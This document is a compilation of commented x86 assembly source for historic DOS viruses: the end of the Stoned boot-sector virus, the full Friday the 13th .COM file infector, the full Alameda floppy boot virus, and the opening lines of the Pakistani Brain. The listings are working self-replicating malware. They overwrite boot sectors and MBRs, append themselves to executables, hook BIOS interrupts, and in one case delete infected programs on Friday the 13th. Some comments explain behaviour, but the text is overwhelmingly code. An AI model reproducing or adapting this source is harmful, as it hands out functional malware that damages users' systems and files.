   MOV   AX,201H           ; READ SECTOR
   PUSH  CS                
   POP   ES                
   MOV   BX,OFFSET WORK_SPACE
   XOR   CX,CX             ; TRACK 0, SECTOR 0
   MOV   DX,CX             ; HEAD 0, DRIVE 0
   INC   CX                
   PUSHF                   
   CALL  CS:[OLD_13]
   JNC   BOOT_IS_DONE      ; READ OK.
   XOR   AX,AX             ; DRIVE RESET
   PUSHF
   CALL  CS:[OLD_13]
   DEC   SI                ; COUNT NUMBER OF TRIES
   JNZ   GET_BOOT_SECTOR   ; LOOP
   JMP   FINISH        
BOOT_IS_DONE:
   XOR   SI,SI             ; CODE SEGMENT START 
   MOV   DI,OFFSET WORK_SPACE  ; POINTER TO BOOT SECTOR
   CLD                     
   PUSH  CS      
   POP   DS                
   LODSW                   
   CMP   AX,DS:[DI]        ; OURS?
   JNZ   CREATE_BOOT       ; NO, CREATE BOOT
   LODSW                   ; RETRY
   CMP   AX,DS:[DI+2]      ; OURS?
   JZ    FINISH            ; NO, FINISH UP
CREATE_BOOT:
   MOV   AX,301H           ; WRITE ORIGINAL BOOT SECTOR FROM BUFFER
   MOV   BX,OFFSET WORK_SPACE  
   MOV   CL,3              
   MOV   DH,1              
                           
   PUSHF
   CALL  CS:[OLD_13]     ; WRITE 
   JC    FINISH        
   MOV   AX,301H         
   XOR   BX,BX           
   MOV   CL,01           
   XOR   DX,DX           
   PUSHF
   CALL  CS:[OLD_13]     
FINISH:
   POP   DI                ; RESTORE REGISTERS
   POP   SI
   POP   ES
   POP   DX
   POP   CX
   POP   BX
   RET

INSTALL:
   XOR   AX,AX
   MOV   DS,AX
   CLI
   MOV   SS,AX
   MOV   SP,7C00H        
   STI                     ; ENABLE INTERRUPTS
   MOV   AX,DS:4CH         ; SAVE OLD 13H 
   MOV   DS:[OFFS+7C00H],AX
   MOV   AX,DS:4EH
   MOV   DS:[SEGM+7C00H],AX
   MOV   AX,DS:413H        ; MEMORY AVAILABLE 
   DEC   AX                
   DEC   AX                
   MOV   DS:413H,AX        
   MOV   CL,6 
   SHL   AX,CL
   MOV   ES,AX                          ; ES: = FREE MEMORY ADDRESS
   MOV   DS:[NEW_SEGMENT+7C00H],AX   ; PUT IT INTO NEW JUMP VECTOR

   MOV   AX,OFFSET NEW_13             ; INSTALL NEW VIRUS VECTOR
   MOV   DS:4CH,AX
   MOV   DS:4EH,ES

   MOV   CX,OFFSET ENDOFPROGMEM
   PUSH  CS
   POP   DS                ; DS POINTS TO OUR CODE SEGMENT
   XOR   SI,SI             ; SI POINTS TO 0
   MOV   DI,SI             ; DI POINTS TO 0
   CLD                     ; SET DIRECTION FLAG TO INCREMENT
   REP   MOVSB             ; MOVE OURSELVES INTO HIGH MEMORY!
   JMP   NEW_ADDRESS    ; THIS JUMP TRANSFERS TO CONTINUE BUT IN HIGH MEM


; THE FOLLOWING CODE IS EXECUTED AFTER BEING MOVED TO HIGH MEMORY
; EXECUTION IS VIA THE JUMP TO NEW_ADDRESS

CONTINUE:
   MOV   AX,0              ; RESET DISK SYSTEM
   INT   13H               ; THIS IS THE INFECTED INT 13H

   XOR   AX,AX             ; READ REAL BOOT SECTOR
   MOV   ES,AX
   MOV   AX,201H
   MOV   BX,7C00H          ; INTO THE BOOT AREA OF RAM
   CMP   DRIVE_LETTER,0
   JZ    BOOT_A
BOOT_C:
   MOV   CX,0002H          ; FROM SECTOR 2 TRACK 0  HEAD 0 FOR FIRST HD
   MOV   DX,0080H
   INT   13H
   JMP   QUITPROG
BOOT_A:
   MOV   CX,0003H          ; FROM SECTOR 3 TRACK 0 HEAD 1 FOR DRIVE A:
   MOV   DX,0100H
   INT   13H
   JC    QUITPROG          ; FAILED READ!

   TEST  BYTE PTR ES:46CH,7   ; CHECK SYSTEM CLOCK LAST 3 BITS
   JNZ   NOMESSAGE
   MOV   SI,OFFSET MESSAGE    ; DS IS POINTING TO 7C0:000 WHICH
   PUSH  CS
   POP   DS
MSGLOOP:
   LODSB                   ; ALSO HAS THE TEXT
   OR    AL,AL
   JZ    NOMESSAGE
   MOV   AH,14
   MOV   BH,0
   INT   10H
   JMP   MSGLOOP

NOMESSAGE:
   PUSH  CS
   POP   ES
   MOV   AX,201H
   MOV   BX,OFFSET WORK_SPACE  ; READ BOOT SECTOR FROM HARD DISK
   MOV   CL,1    
   MOV   DX,0080H
   INT   13H
   JC    QUITPROG          ; BAD READ - SO JUMP
   PUSH  CS
   POP   DS
   MOV   SI,OFFSET WORK_SPACE  ; SOURCE IS THE BOOT SECTOR
   MOV   DI,0              ; DESTINATION IS OUR OWN CODE
   LODSW                   ; MOV  AX,DS:[SI]
                           ; ADD  SI,2
   CMP   AX,DS:[DI]        ; VIRUS?
   JNZ   SAVEBOOT          ; JUMP IF NOT
   LODSW                   ; MOV  AX,DS:[SI]
                           ; ADD  SI,2
   CMP   AX,DS:[DI+2]      ; HAS IT GOT A VIRUS?
   JNZ   SAVEBOOT
QUITPROG:
   MOV   DRIVE_LETTER,0         ; YES - SO BOOT DRIVE 0 FOR A>
   JMP   REBOOT            ; THIS JUMPS TO 0:7C00H TO CONTINUE BOOT CODE

SAVEBOOT:
   MOV   DRIVE_LETTER,2         ; DRIVE 2 FOR C>
   MOV   AX,301H           ; GONNA WRITE
   MOV   BX,OFFSET WORK_SPACE  ; OLD BOOT SECTOR
   MOV   CX,0007H          ; TO SECTOR 7
   MOV   DX,0080H          ;       OF DRIVE C>
   INT   13H
   JC    QUITPROG
   PUSH  CS
   POP   DS
   PUSH  CS
   POP   ES
   MOV   SI,OFFSET WORK_SPACE+MAXIMUM_SIZE
   MOV   DI,MAXIMUM_SIZE
   MOV   CX,400H-MAXIMUM_SIZE
   REP   MOVSB             ; SI -> DI AND INC BOTH    CX TIMES
   MOV   AX,301H           ; GONNA WRITE BOOT SECTOR
   XOR   BX,BX             ; FROM TOP OF OUR CODE
   INC   CL                ; SECTOR 1
;  MOV   DX,0080H          ;<-- DX IS LEFT OVER FROM ABOVE
   INT   13H               ; DO IT
   JMP   QUITPROG
                      
MESSAGE:
         DB 7,'Your PC is now Stoned!',7,13,10,10,0
         DB 'LEGALISE MARIJUANA!'    ; This bit doesn't display!
ENDOFPROGMEM:

VIRUS ENDP

CODE  ENDS
   END   VIRUS


*****************************************************************
-----------------------------------------------------------------
-----------------------------------------------------------------
*****************************************************************

The original 'Friday the 13th"
Also called - Munich Virus, Miami Virus



 
;-----------------------------------------------------------------------;
; THE METHOD OF INFECTION:                           ;
; SAVE FIRST 3 BYTES OF HOST TO SAVE AREA INSIDE OF VIRIUL SHELL     ;
; APPEND VIRIUL SHELL TO END OF .COM FILE (ON A PARAGRAPH BOUNDARY!) ;
;-----------------------------------------------------------------------;
; ATTENTION!                                     ;
; RESULTING FILE APPARENTLY MUST BE < 64K                            ;
; REMEMBER THE STACK IS AT THE TOP OF THE 64K FILE! WHERE SHELL RESIDES   ;
; STACK MUST HAVE ROOM FOR VIRUS USE                       ;
;-----------------------------------------------------------------------;
CODE     SEGMENT PUBLIC 'CODE'         ;
    ASSUME    CS:CODE,DS:CODE,ES:CODE,SS:CODE
                        ;
    ORG  100H           ;SAME A .COM FILE FOR NOW
                        ;
    PUBLIC    HOST_SIZE      ;;
                        ;
;-----------------------------------------------------------------------;
; JUMP AROUND VIRUS DATA AREA                              ;
;-----------------------------------------------------------------------;
BEGIN:   JMP  CONTINUE       ;
                        ;
;-----------------------------------------------------------------------;
; SHELL DATA AREA APPARENTLY FOLLOWS                            ;
;-----------------------------------------------------------------------;
HOST_3        DB   ?,?,?          ;FIRST 3 BYTES OF HOST
ID       DB   'INFECTED',0   ;FYI ALREADY INFECTED ID
                        ;
NEW_3         DB   0E9H      ;TO REPLACE FIRST 3 BYTES OF HOST
OUR_BEGIN     DW   ?         ;
                        ;
HOST_TYPE     DB   '*.COM',0 ;TYPE OF FILES TO INFECT
                        ;
DTA      DB   21 DUP (?)     ;USED BY DOS
         DB   ?         ;FILE ATTRIBUTE
         DW   ?         ;FILES TIME
         DW   ?         ;FILES DATE
HOST_SIZE     DW   ?         ;FILE SIZE
         DW   ?         ;FILE SIZE
HOST_NAME     DB   13 DUP (?)     ;FILE NAME
                        ;
COMMAND_COM   DB   'COMMAND.COM',0     ;
COMMAND_LENGTH     EQU  $ - offset COMMAND_COM
                        ;
;-----------------------------------------------------------------------;
; SAVE INCOMMING ENVIRONMENT AND SETUP WORKING ENVIRONMENT      ;
;-----------------------------------------------------------------------;
CONTINUE:                    ;
    PUSH CS             ;SAVE HOST SEGMENT
    PUSH AX             ;SAVE SPACE FOR HOST offset
                        ;
    PUSH AX             ;SAVE INCOMMING REGs
    PUSH BX             ;
    PUSH CX             ;
    PUSH DX             ;
    PUSH SI             ;
    PUSH DI             ;
    PUSH BP             ;
    PUSH DS             ;! NOT ES !
                        ;
    MOV  BP,SP               ;SAVE HOST offset (IN STACK)
    MOV  word ptr [BP+16],100H    ;   (FOR LATER RETF TO HOST)
                        ;
    CALL DUMMY               ;MOV AX,IP
DUMMY:   POP  AX             ;
    SUB  AX,(offset DUMMY - offset BEGIN)
                        ;
    MOV  CL,4           ;PASS CONTROL TO OURSELF WITH IP=100H
    SHR  AX,CL               ;
    MOV  BX,CS               ;
    ADD  AX,BX               ;
    SUB  AX,10H              ;
    PUSH AX             ;(OUR MODIFIED CS)
    MOV  AX,offset IN_CONTROL     ;(OUR IP)
    PUSH AX             ;
    RETF                ;
                        ;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
IN_CONTROL:                  ;
    MOV  AX,CS               ;(INIT DS)
    MOV  DS,AX               ;
                        ;
    CALL REPLICATE      ;
    CALL DO_STUFF       ;DO STUFF HERE
                        ;
    JMP  ALL_DONE       ;PASS CONTROL TO HOST
                        ;
;-----------------------------------------------------------------------;
; REPRODUCE                                 ;
;-----------------------------------------------------------------------;
REPLICATE:                   ;
    PUSH ES             ;
                        ;
    PUSH DS             ;
    POP  ES             ;
                        ;
    MOV  AH,1AH              ;SET DTA
    MOV  DX,OFFSET DTA       ;
    INT  21H            ;
                        ;
    MOV  AH,4EH              ;FIND FIRST
    XOR  CX,CX               ;
    MOV  DX,OFFSET HOST_TYPE ;
    INT  21H            ;
    JC   R_90           ;
                        ;
R_10:    CALL ATTACH              ;INFECT FOUND FILE
                        ;
    MOV  AH,4FH              ;FIND NEXT
    INT  21H            ;
    JNC  R_10           ;UNTIL NO MORE FOUND
                        ;
R_90:    POP  AX             ;
    PUSH AX             ;
                        ;
    PUSH DS             ;
    MOV  DS,AX               ;
    MOV  AH,1AH              ;RESTORE DTA
    MOV  DX,0080H       ;
    INT  21H            ;
    POP  DS             ;
                        ;
    POP  ES             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
ATTACH:  PUSH ES             ;IF 'COMMAND.COM' ATTEMPTED...
    MOV  AX,DS               ;
    MOV  ES,AX               ;
    MOV  SI,offset HOST_NAME ;
    MOV  DI,offset COMMAND_COM    ;
    MOV  CX,COMMAND_LENGTH   ;
    CLD                 ;
    REPE CMPSB               ;
    POP  ES             ;
    JNE  A_01           ;
    JMP  A_99           ;...DONT INFECT IT
                        ;
A_01:    MOV  AX,3D02H       ;OPEN R/W
    MOV  DX,offset HOST_NAME ;ie. '\COMMAND.COM'
    INT  21H            ;
    JNC  A_03           ;
    JMP  A_90           ;
                        ;
A_03:    MOV  BX,AX               ;BX=HANDLE
                        ;
    PUSH word ptr [HOST_3]   ;SAVE
    PUSH word ptr [HOST_3+2] ;SAVE
                        ;
    MOV  AH,3FH              ;READ FIRST 3 BYTES
    MOV  CX,3           ;
    MOV  DX,offset HOST_3    ;
    INT  21H            ;
    JC   A_80           ;
                        ;
    MOV  AL,[NEW_3]          ;IF ALREADY INFECTED...
    CMP  [HOST_3],AL         ; (YOU CAN TELL BY THE JUMP INSTRUCTION
    JNE  A_05           ;  AND BY THE SIZE OF THE JUMP)
    MOV  AX,[HOST_SIZE]      ;
    SUB  AX,(offset OUR_END - offset BEGIN)
    SUB  AX,3           ;
    CMP  word ptr [HOST_3+1],AX   ;
    JE   A_85           ;...DONT INFECT AGAIN
                        ;
A_05:    MOV  AX,4202H       ;POINT TO THE END
    XOR  CX,CX               ;
    XOR  DX,DX               ;
    INT  21H            ;
    JC   A_80           ;
                        ;
    OR   AX,0FH              ;ROUND UP TO NEXT PARAGRAPH
    INC  AX             ;
    SUB  AX,3           ;(TAKE INTO ACOUNT JMP INSTRUCTION SIZ)
    MOV  [OUR_BEGIN],AX      ;
                        ;
    MOV  AX,4200H       ;POINT TO FIRST 3 BYTES
    XOR  CX,CX               ;
    XOR  DX,DX               ;
    INT  21H            ;
    JC   A_80           ;
                        ;
    MOV  AH,40H              ;WRITE NEW 3 BYTES
    MOV  CX,3           ;
    MOV  DX,offset NEW_3          ;
    INT  21H            ;
    JC   A_80           ;
                        ;
;REMEMBER, WERE ALREADY POINTING PAST THE FIRST 3 BYTES!
    MOV  AX,4201H       ;POINT TO END (ROUNDED UP TO PARA)
    XOR  CX,CX               ;
    MOV  DX,[OUR_BEGIN]      ;
    INT  21H            ;
    JC   A_80           ;
                        ;
    MOV  AH,40H              ;APPEND VIRUS TO END OF FILE
    MOV  CX,(offset OUR_END - offset BEGIN)
    MOV  DX,offset BEGIN          ;
    INT  21H            ;
    JC   A_80           ;
                        ;
    JMP  A_85           ;CLOSE AND RETURN
                        ;
A_80:    ;CALL     BEEP           ;
                        ;
A_85:    POP  word ptr [HOST_3+2] ;SAVE
    POP  word ptr [HOST_3]   ;SAVE
                        ;
    MOV  AH,3EH              ;CLOSE FILE
    INT  21H            ;
                        ;
A_90:    JNC  A_99           ;
    ;CALL     BEEP           ;
A_99:    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; DO STUFF                                       ;
;-----------------------------------------------------------------------;
DO_STUFF:                    ;
    PUSH ES             ;
                        ;
    MOV  AH,2AH              ;GET DATE
    INT  21H            ;
                        ;
    CMP  DL,13               ;IF FRIDAY THE 13th...
    JNE  DS_90               ;
    CMP  AL,5           ;
    JNE  DS_90               ;
                        ;
    XOR  AX,AX               ;FIND OUT INFECTED NAME
    MOV  CX,32767       ;
    XOR  DI,DI               ;
    MOV  ES,ES:[002CH]       ;
    CLD                 ;
    REPNE     SCASW               ;
    JNE  DS_90               ;
    ADD  DI,2           ;SKIP '01 00'
                        ;
    PUSH DS             ;DELETE SELF
    PUSH ES             ;
    POP  DS             ;
    MOV  AH,41H              ;
    MOV  DX,DI               ;
    INT  21H            ;
    POP  DS             ;
                        ;
DS_90:   POP  ES             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; PASS CONTROL TO THE HOST PROGRAM                         ;
;-----------------------------------------------------------------------;
ALL_DONE:                    ;
    MOV  AX,word ptr [HOST_3]     ;RESTORE HOSTS FIRST 3 BYTES
    MOV  ES:[100H],AX        ;
    MOV  AL,[HOST_3+2]       ;
    MOV  ES:[102H],AL        ;
                        ;
    POP  DS             ;! NOT ES !
    POP  BP             ;
    POP  DI             ;
    POP  SI             ;
    POP  DX             ;
    POP  CX             ;
    POP  BX             ;
    POP  AX             ;
                        ;
    RETF                ;
                        ;
OUR_END  LABEL     BYTE           ;
                        ;
CODE     ENDS                ;
    END  BEGIN               ;





********************************************************************
-----------------------------------------------------------------
-----------------------------------------------------------------
********************************************************************

The "Alameda Virus".
Also Called - Merritt Virus, Yale Virus, Peking Virus, Seoul Virus



    PAGE 64,132
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety.                   ;
; It replicates to the boot sector of a floppy disk and when it gains control

 
; it will move itself to upper memory.  It redirects the keyboard      ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time    ;
; it will attempt to infect any floppy it finds in drive A:.         ;
; It keeps the real boot sector at track 39, sector 8, head 0    ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus  ;
; will die.  It also contains no anti detection mechanisms as does the    ;
; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1   ;
; sector 9 because this is common to all floppy formats both single  ;
; sided and double sided.  It does not contain any malevolent TROJAN ;
; HORSE code.  It does appear to contain a count of how many times it    ;
; has infected other diskettes although this is harmless and the count    ;
; is never accessed.                                 ;
;                                           ;
; Things to note about this virus:                         ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this   ;
; is its primary (only for that matter) means of reproduction to other    ;
; floppy diskettes.  The only way to remove it from an infected system    ;
; is to turn the machine off and reboot an uninfected copy of DOS.   ;
; It is even resident when no floppy is booted but BASIC is loaded   ;
; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,  ;
; it activates and infectes the floppy from which the user is        ;
; attempting to boot.                                 ;
;                                           ;
; Also note that because of the POP CS command to pass control to    ;
; its self in upper memory, this virus does not to work on 80286     ;
; machines (because this is not a valid 80286 instruction).          ;
;                                           ;
; The Norton utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to  ;
; remove it (unlike the Brain).                                     ;
;-----------------------------------------------------------------------;
                        ;
    ORG  7C00H               ;
                        ;
TOS LABEL     WORD           ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too   ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory      ;
; 4. Jump to ourself at top of memory                      ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8    ;
;-----------------------------------------------------------------------;
BEGIN:   CLI                 ;INITIALIZE STACK
    XOR  AX,AX               ;
    MOV  SS,AX               ;
    MOV  SP,offset TOS       ;
    STI                 ;
                        ;
    MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
    MOV  DS,BX               ;
    MOV  AX,[0013H]          ;
    MUL  BX             ;
    SUB  AX,07E0H       ;   (7C00H+512)/16
    MOV  ES,AX               ;
                        ;
    PUSH CS             ;DS = CS
    POP  DS             ;
                        ;
    CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
    JNE  B_10           ;
    DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
                        ;
B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
    MOV  DI,SI               ;
    MOV  CX,512              ;
    CLD                 ;
    REP  MOVSB               ;
                        ;
    MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
    MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
    MOV  CX,128              ;
    REP  MOVSB               ;
                        ;
    CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
                        ;
    PUSH ES   ;ES=HI         ;JUMP TO OUR HI CODE WITH
    POP  CS             ;   CS = ES
                        ;
    PUSH DS   ;DS=0          ;ES = DS
    POP  ES             ;
                        ;
    MOV  BX,SP     ;SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
    MOV  DX,CX     ;CX=0          ;   DRIVE A: HEAD 0
    MOV  CX,2708H       ;   TRACK 40, SECTOR 8
    MOV  AX,0201H       ;   READ SECTOR
    INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
    JB   $              ;   HANG IF ERROR
                        ;
    JMP  JMP_BOOT       ;JMP 0000:7C00
                        ;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR                     ;
;                                           ;
; ON ENTRY:   DS = 0                                  ;
;        ES = WHERE TO SAVE OLD_09 & (HI)             ;
;             WHERE NEW_09 IS         (HI)            ;
;-----------------------------------------------------------------------;
PUT_NEW_09:                  ;
    DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
                        ;
    MOV  SI,9*4              ;COPY INT 9 VECTOR TO
    MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
    MOV  CX,0004             ;
                        ;
    CLI                 ;
    REP  MOVSB               ;
    MOV  Word Ptr [9*4],offset NEW_09
    MOV  [(9*4)+2],ES        ;
    STI                 ;
                        ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                 ;
;-----------------------------------------------------------------------;
ACK_KEYBD:                   ;
    IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
    MOV  AH,AL               ;
    OR   AL,80H              ;
    OUT  61H,AL              ;
    XCHG AL,AH               ;
    OUT  61H,AL              ;
    JMP  RBOOT               ;
                        ;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION                   ;
; REASON UNKNOWN                                 ;
;-----------------------------------------------------------------------;
TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
    DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
    DB   27H,0,3,2      ;
    DB   27H,0,4,2      ;
    DB   27H,0,5,2      ;
    DB   27H,0,6,2      ;
    DB   27H,0,7,2      ;
    DB   27H,0,8,2      ;
                        ;
;A7C9A   LABEL     BYTE           ;
    DW   00024H              ;NOT USED
    DB   0ADH           ;
    DB   07CH           ;
    DB   0A3H           ;
    DW   00026H              ;
                        ;
;L7CA1:                      ;
    POP  CX             ;NOT USED
    POP  DI             ;
    POP  SI             ;
    POP  ES             ;
    POP  DS             ;
    POP  AX             ;
    POPF                ;
    JMP  1111:1111      ;
                        ;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ...                             ;
; IF ALT & CTRL & ? THEN ...                          ;
;-----------------------------------------------------------------------;
NEW_09:  PUSHF                    ;
    STI                 ;
                        ;
    PUSH AX             ;
    PUSH BX             ;
    PUSH DS             ;
                        ;
    PUSH CS             ;DS=CS
    POP  DS             ;
                        ;
    MOV  BX,[ALT_CTRL]       ;BX=SCAN CODE LAST TIME
    IN   AL,60H              ;GET SCAN CODE
    MOV  AH,AL               ;SAVE IN AH
    AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
                        ;
    CMP  AL,1DH              ;IS IT A [CTRL]...
    JNE  N09_10              ;...JUMP IF NO
    MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
    JMP  N09_30              ;
                        ;
N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
    JNE  N09_20              ;...JUMP IF NO
    MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
    JMP  N09_30              ;
                        ;
N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
    JNE  N09_30              ;...JUMP IF NO
                        ;
    CMP  AL,17H              ;IF [I]...
    JE   N09_X0              ;...JUMP IF YES
    CMP  AL,53H              ;IF [DEL]...
    JE   ACK_KEYBD      ;...JUMP IF YES
                        ;
N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
                        ;
N09_90:  POP  DS             ;
    POP  BX             ;
    POP  AX             ;
    POPF                ;
                        ;
    DB   0EAH           ;JMP F000:E987
OLD_09   DW   ?              ;
    DW   0F000H              ;
                        ;
N09_X0:  JMP  N09_X1              ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
    MOV  AX,0800H       ;AL=0, AH=DELAY ARG
    OUT  DX,AL               ;
    CALL DELAY               ;
    MOV  [ALT_CTRL],AX  ;AX=0     ;
                        ;
    MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
    INT  10H            ;
    MOV  AH,2           ;SET CURSOR POS 0,0
    XOR  DX,DX               ;
    MOV  BH,DH               ;   PAGE 0
    INT  10H            ;
                        ;
    MOV  AH,1           ;SET CURSOR TYPE
    MOV  CX,0607H       ;
    INT  10H            ;
                        ;
    MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
    CALL DELAY               ;
                        ;
    CLI                 ;
    OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
                        ;
    MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
    MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
    MOV  SI,offset BEGIN - 128    ;
    MOV  CX,128              ;
    CLD                 ;
    REP  MOVSB               ;
                        ;
    MOV  DS,CX     ;CX=0          ;DS=0
                        ;
    MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
    MOV  [(19H*4)+2],CS      ;
                        ;
    MOV  AX,0040H       ;DS = ROM DATA AREA
    MOV  DS,AX               ;
                        ;
    MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
    INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
                        ;
    PUSH DS             ;IF BIOS F000:E502 == 21E4...
    MOV  AX,0F000H      ;
    MOV  DS,AX               ;
    CMP  Word Ptr [0E502H],21E4H  ;
    POP  DS             ;
    JE   R_90           ;
    INT  19H            ;   IF NOT...REBOOT
                        ;
R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
                        ;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR                                   ;
;-----------------------------------------------------------------------;
NEW_19:  XOR  AX,AX               ;
                        ;
    MOV  DS,AX               ;DS=0
    MOV  AX,[0410]      ;AX=EQUIP FLAG
    TEST AL,1           ;IF FLOPPY DRIVES ...
    JNZ  N19_20              ;...JUMP
N19_10:  PUSH CS             ;ELSE ES=CS
    POP  ES             ;
    CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
    INT  18H            ;LOAD BASIC
                        ;
N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
                        ;
N19_22:  PUSH CX             ;
    MOV  AH,00               ;RESET DISK
    INT  13             ;
    JB   N19_81              ;
    MOV  AX,0201             ;READ BOOT SECTOR
    PUSH DS             ;
    POP  ES             ;
    MOV  BX,offset BEGIN          ;
    MOV  CX,1           ;TRACK 0, SECTOR 1
    INT  13H            ;
N19_81:  POP  CX             ;
    JNB  N19_90              ;
    LOOP N19_22              ;
    JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
    JNZ  RE_INFECT      ;...RE INFECT
                        ;
JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
    JMP  0000:7C00H          ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
RE_INFECT:                   ;
    MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
    MOV  CX,00E6H       ;   OURSELF
    MOV  DI,SI               ;
    PUSH CS             ;
    POP  ES             ;
    CLD                 ;
    REPE CMPSB               ;
    JE   RI_12               ;IF NOT EQUAL...
                        ;
    INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
                        ;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
    MOV  BX,offset TABLE          ;FORMAT INFO
    MOV  DX,0000             ;DRIVE A: HEAD 0
    MOV  CH,40-1             ;TRACK 39
    MOV  AH,5           ;FORMAT
    JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
                        ;
; <<< NO EXECUTION PATH TO HERE >>>    ;
    JB   RI_80               ;
                        ;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
    MOV  BX,offset BEGIN          ;TRACK 40H
    MOV  CL,8           ;SECTOR 8
    MOV  AX,0301H       ;WRITE 1 SECTOR
    INT  13H            ;
                        ;
    PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
    POP  ES             ;
    JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
                        ;
    MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
    MOV  AX,0301             ;
    INT  13H            ;
    JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
                        ;
RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
    INT  19H            ;...FLAG AND REBOOT
                        ;
RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
    DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
    JMP  JMP_BOOT       ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
                        ;
    MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
    MOV  BX,0040H       ;
    MOV  DS,BX               ;
    MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
    JMP  N09_90              ;
                        ;
;-----------------------------------------------------------------------;
; DELAY                                          ;
;                                           ;
; ON ENTRY    AH:CX = LOOP COUNT                      ;
;-----------------------------------------------------------------------;
DELAY:   SUB  CX,CX               ;
D_01:    LOOP $              ;
    SUB  AH,1           ;
    JNZ  D_01           ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
A7DF4         DB   27H,00H,8,2

COUNTER_1     DW   001CH
ALT_CTRL DW   0

A7DFC         DB   27H,0,8,2




*********************************************************************
---------------------------------------------------------------------
---------------------------------------------------------------------
*********************************************************************

The "Pakistani Brain"


;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CODE     SEGMENT PUBLIC 'CODE'         ;
    ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
                        ;
         ORG  0         ;
                        ;
BPB      EQU  3+8       ;JMP + OEM_NAME
                        ;
;-----------------------------------------------------------------------;
